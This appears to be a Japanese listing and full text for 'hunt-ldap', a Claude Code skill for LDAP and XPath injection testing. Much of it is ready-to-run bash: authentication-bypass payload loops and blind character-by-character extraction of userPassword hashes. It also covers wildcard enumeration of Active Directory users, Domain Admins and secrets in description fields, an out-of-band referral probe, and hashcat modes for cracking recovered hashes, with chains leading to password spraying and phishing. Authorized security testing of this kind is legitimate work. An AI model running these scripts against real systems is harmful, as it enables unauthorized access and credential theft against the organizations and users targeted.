hunt-ldap について
セキュリティテスター向けの LDAP・XPath インジェクション調査スキルです。認証回避、ブラインドインジェクション、ディレクトリ列挙を扱い、Active Directory と一般的な LDAP の属性の違いも説明します。
主な機能
- 01LDAP バックエンドと注入の兆候を確認
- 02LDAP 認証回避をテスト
- 03制御された応答でブラインド注入を評価
- 04XML 認証で XPath インジェクションを確認
- 05AD と一般的な LDAP の可読属性を区別
活用シーン
- 01ログインやディレクトリ検索機能の注入リスクを評価
- 02ブラインド注入で可読属性を取得できるか検証
- 03Active Directory のユーザーとグループ情報を列挙
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-ldapインストール後、Claude Code で/hunt-ldapを入力して読み込まれたか確認します。
詳細
HUNT-LDAP — LDAP インジェクションと XPath インジェクション
根拠に関する注記:LDAP インジェクションは、公開プラットフォームでペイロードをそのまま開示されることはほとんどありません(その多くは社内ペンテストのレポートに記載されています)。このスキルの根拠は、架空の HackerOne ID ではなく、公開情報として検証可能な OWASP LDAP Injection Prevention / Testing Guide (WSTG-INPV-06)、PortSwigger Web Security Academy (LDAP injection)、および RFC 4515 のフィルター文法です。リンクできないレポートを引用しないでください。
重要な標的
認証を迂回する LDAP インジェクション = Critical。認証情報やシークレットのブラインド属性抽出 = High。AD の列挙のみ = Medium-High。
価値の高い攻撃チェーン:
- LDAP 認証の迂回 —
uidフィルターを閉じ、常に真となる OR を追加して、有効なパスワードなしで bind/search が管理者エントリーを返すようにします。 - ブラインド属性抽出 — ブール値オラクル(ログインの成功/失敗、結果数、または応答の長さ)を使って、属性値を1文字ずつ抽出します。
- userPassword ハッシュの抽出(非 AD のみ) — OpenLDAP/389-DS では、
userPassword属性に{SSHA}/{CRYPT}ハッシュが格納されている場合があり、クエリーで読み取れます。以下の AD と汎用 LDAP に関する警告を参照してください。 - XPath インジェクションによる認証の迂回 — XML ベースの認証に対して
' or '1'='1を使います。
重大 — Active Directory と汎用 LDAP の違い
この2つを混同しないでください。動作は大きく異なります。
| 汎用 LDAP(OpenLDAP、389-DS、ApacheDS) | Active Directory | |
|---|---|---|
| パスワード属性 | userPassword — {SSHA}/{MD5}/{CRYPT} を格納する場合があり、ACL で許可されていれば読み取り可能 | unicodePwd — 書き込み専用で、検索結果として返されることはありません |
| インジェクションによるハッシュ抽出 | ACL によって userPassword が漏えいする場合は可能 | 不可能 — LDAP 経由で読み取り可能なハッシュ属性はありません |
| 列挙に役立つ属性 | uid、cn、mail、userPassword | sAMAccountName、userPrincipalName、mail、memberOf、description(平文のシークレットが格納されていることもよくあります!) |
ブラインド LDAP インジェクションで AD のパスワードハッシュを取得できる、と読者に伝えないでください。取得できません。 unicodePwd は書き込み専用です。AD で有効なのは、列挙(sAMAccountName、memberOf、管理者がパスワードの保存に誤用する description/info フィールド)と認証の迂回であり、ハッシュのダンプではありません。ハッシュ抽出の手法は、userPassword を公開する非 AD ディレクトリに限られます。
攻撃対象領域の兆候
Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/* /api/directory/* /people /address-book /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
javax.naming.NameNotFoundException
javax.naming.directory.InvalidSearchFilterException
LDAP: error code 49 - 80090308 (AD invalid creds / bind failure)
com.sun.jndi.ldap.* / System.DirectoryServices / ldap_search():
"Bad search filter" / net.ldap (Go) / python-ldap SERVER_DOWN
LDAP フィルター文法(RFC 4515)— インジェクションが成立する理由
ログインフィルターは通常、文字列連結で構築されます。
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))
& = AND、| = OR、! = NOT です。フィルターは前置記法(ポーランド記法)で、演算子が先頭に置かれ、すべてのサブフィルターが括弧で囲まれます。インジェクションを行うには、(a) 現在の (uid=...) グループをエスケープし、(b) 独自のロジックを注入し、(c) 括弧の数を全体で一致させる必要があります。一致しないと、サーバーは実行せず、フィルター構文エラーを返します。
特殊文字セット — 1つずつテストする
これらの文字には構文上の意味があり、安全なアプリではエスケープする必要があります(RFC 4515 §3)。生のまま送信したときにアプリがエラーを返す、または動作が変わる場合、入力はエスケープされていないため、インジェクション可能です。
| 文字 | フィルターでのエスケープ | 重要な理由 |
|---|---|---|
* | \2a | ワイルドカード — 任意の値に一致します |
( | \28 | フィルターグループを開始します |
) | \29 | フィルターグループを閉じます |
\ | \5c | エスケープ文字そのものです |
| NUL | \00 | 文字列終端文字 — C ベースのサーバーではフィルターを途中で切り詰めます |
/ | (DN コンテキスト) | RDN の区切り文字 — DN インジェクションで関係します |
検索フィルターのコンテキストと DN インジェクションは異なる脆弱性です。
- 検索フィルターインジェクション(最も一般的):入力が
(attr=VALUE)フィルター内に入ります。ペイロードでは* ( ) & | !を使います。 - DN インジェクション:入力が識別名(
uid=VALUE,ou=people,dc=corp)に連結されます。この場合は,=+"\<>;と/が重要で、*はワイルドカードではありません。両方をテストしてください。ペイロードを相互に使い回すことはできません。
段階的なハンティング手法
フェーズ 1 — LDAP バックエンドの確認(まずはベースライン)
# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
-X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"
# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"test)","password":"x"}' | grep -iE \
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"
単独の ) で構文エラー/500 が発生し、括弧の対応が取れたペイロードでは発生しない場合、LDAP インジェクションを示す最も明確な兆候です。証拠として必要になるため、記録しておいてください。
フェーズ 2 — 認証バイパスのペイロード(括弧の対応を取る)
# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.
# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
# username = *)(uid=*))(|(uid=* password = anything
# Always-true admin (OR uid=*):
# username = admin)(|(uid=*) (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
# username = admin)(uid=*))%00 password = x
USERNAME_PAYLOADS=(
'admin))(|(uid=*' # close uid + close &, open OR uid=* — balance check below
'*)(uid=*))(|(uid=*' # full always-true, self-balancing classic
'admin)(!(userPassword=ZZZ))' # AND NOT a password that is never set → always true
'admin*' # simple wildcard suffix — try first, lowest noise
)
for P in "${USERNAME_PAYLOADS[@]}"; do
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
echo "PAYLOAD: $P"
echo "RESP: ${R: -40}"
echo "BASE: $BASE <-- compare http_code+size to rule out false positive"
echo "---"
done
括弧の対応を取る際の経験則: ペイロードだけでなく、最終的なフィルター全体で ( の数から ) の数を引いて数えてください。アプリが入力の後ろに )(userPassword=...)) を追加する場合は、最終的な文字列の括弧の対応が取れるよう、末尾に適切な数の ) を残してください。括弧の対応が取れていないフィルターは構文エラーになるため、バイパスではありません(誤検知です)。
フェーズ 3 — 制御されたオラクルによるブラインド抽出(生のバイト数ではなく)
生の size_download の差分比較には、WAF のバナー、CSRF トークン、タイムスタンプ、注入した文字自体による長さの変動などのノイズが入りやすくなります。オラクルを絶対サイズではなくレスポンスにするため、真/偽のペア対照を使用してください。
# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=* -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () { # $1 = filter-tail payload -> prints normalized size
curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*)) on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
done
done
echo "RECOVERED: $PREFIX"
ブラインド抽出の誤検知を防ぐ対策:
- 真となる各文字を 3 回繰り返し、サイズが安定していることを確認してください。攻撃者が制御する文字自体による長さの変動は、誤検知の最大の原因です。
- 各ラウンドの後も、偽の対照が偽のサイズを返すことを確認してください(アプリが単にすべてのリクエストでエラーを返すようになったわけではありません。WAF によるブロックが一致のように見えることがあります)。
- 本文の長さが信頼できない場合は、オラクルを HTTP ステータス、本文のマーカー文字列(
"Invalid credentials"があるかどうか)、または時間差を利用する重いフィルターに切り替えてください。ただし、安定したベースライン差分を確認してからにしてください。
フェーズ 4 — XPath インジェクション(XML ベースの認証)
# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
# Bypass closes the name predicate and OR-trues the whole expression.
XPATH_PAYLOADS=(
"' or '1'='1"
"' or ''='"
"admin' or '1'='1' or 'a'='b" # keeps quoting balanced
"x'] | //user/* | //user[name()='x" # blind: dump all user nodes (XPath has no comments)
"*[contains(name(),'pass')]" # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
--data-urlencode "username=$P" --data-urlencode "password=x")
echo "$P -> ${R: -24}"
done
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.
フェーズ 5 — ワイルドカードによる AD 列挙(対照付きカウントオラクル)
# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
# A directory that returns the SAME count for both is NOT leaking via wildcard.
count () { curl -s -X POST https://$TARGET/api/directory/search \
-H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
CTRL=$(count "zzqx_unlikely")
echo "control count (should be ~0): $CTRL"
for L in {a..z}; do echo "$L* -> $(count $L) (vs control $CTRL)"; done
# Then pivot to memberOf / description for privileged accounts:
# (&(sAMAccountName=*)(memberOf=*Domain Admins*))
# (description=*pw*) (description=*pass*) — admins stash secrets here
フェーズ 6 — ツールと OOB による確認
# Validate the inferred filter directly if you ever get LDAP creds / a bind:
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
-b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
# Burp: Intruder over the char set for blind exfil; the Web Security Academy
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
# inject a referral/URL the server dereferences, point it at Collaborator:
# (uid=*))(referral=ldap://<COLLAB>/x) — a DNS/LDAP hit at Collaborator
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
# as the gold-standard confirmation for otherwise-blind cases.
攻撃チェーン表
| LDAP の発見事項 | チェーン先 | 影響 |
|---|---|---|
| 認証バイパス(常に真となるフィルター) | ディレクトリの最初のエントリとして管理者/SSO パネルにアクセス | 重大 |
AD 列挙(sAMAccountName) | ユーザー名リスト → パスワードスプレー/認証情報スタッフィング | 大規模な ATO リスク |
memberOf の列挙 | ドメイン管理者を特定 → 標的型フィッシング/スプレー | 標的型侵害 |
description/info フィールドの読み取り | 管理者がそこに保存した平文の認証情報 | 認証情報の直接漏えい |
userPassword のブラインド抽出 (AD 以外のみ) | {SSHA}(ソルト付き SHA-1)→ hashcat -m 111({SSHA256}=1411、{SSHA512}=1711);{CRYPT} → モードは $id$ プレフィックスによって異なります($1$=500、$6$=1800)→ オフラインでクラック | 高 |
| LDAP リファラル → Collaborator | サーバー側リクエスト/内部ディレクトリへの到達 | SSRF クラス、ブラインドの確認 |
AD には読み取り可能なパスワード属性がありません。「AD ハッシュの抽出」を攻撃チェーンとして 挙げないでください。AD に対する認証情報の取得は、
description/infoの誤用、または 列挙したユーザー名を使ったスプレーによるものであり、unicodePwdによるものではありません。
検証 — 報告する前に誤検知を除外する
「バイパス」または「一致」が本物と言えるのは、構文エラー、 WAF によるブロック、長さの揺らぎによる説明を排除してからです。
- 認証バイパス: 常に true となるペイロードが、有効な認証済み セッション(セッション Cookie +ログイン後のリソースへのアクセス)を返し、同じ リクエストで括弧を 1 つ取り除くとフィルター構文エラーが返ります。これにより、フィルターが解析され実行されたことを確認できます。アプリがすべての入力で無条件にアクセスを許可したということではありません。
- ネガティブコントロール: 同等の形式で論理的に FALSE となるペイロード
(
)(uid=NONEXISTENT_ZZZ))が失敗レスポンスを返します。true の分類と false の分類の両方が「成功」する場合、見つけたのは LDAP インジェクションではなく、壊れたエンドポイントです。 - ブラインド抽出: 復元した各文字を、サイズが安定した状態で 3 回再現できます。ラウンドの間も FALSE コントロールが FALSE と判定されます。復元した値は、直接検索するか、その値を使う認証バイパスペイロードで検証します。
- XPath: 引用符と角括弧の対応が保たれ(500 エラーが発生せず)、バイパスによって実際のアカウントコンテキストにログインできています。単に別のエラーページが表示されただけではありません。
- 可能な場合は OOB: 紹介ペイロードによる Collaborator の DNS/LDAP インタラクションは、ブラインドケースで決定的な証拠になります。長さだけに基づく推測よりも、こちらを優先してください。
- AD に関する主張の原則: 「AD」と述べる場合は、AD 固有の属性(
sAMAccountName/memberOf)を列挙してください。AD ハッシュを抽出したと主張してはいけません。
深刻度:
- 管理者または特権ディレクトリエントリとして認証バイパスに成功:Critical
userPasswordハッシュの抽出(非 AD)、またはdescriptionフィールドからの認証情報の読み取り:High- AD ユーザー/グループの列挙のみ:Medium-High
- ブラインドの真偽オラクルを確認済みだが、有用な属性にアクセスできない:Medium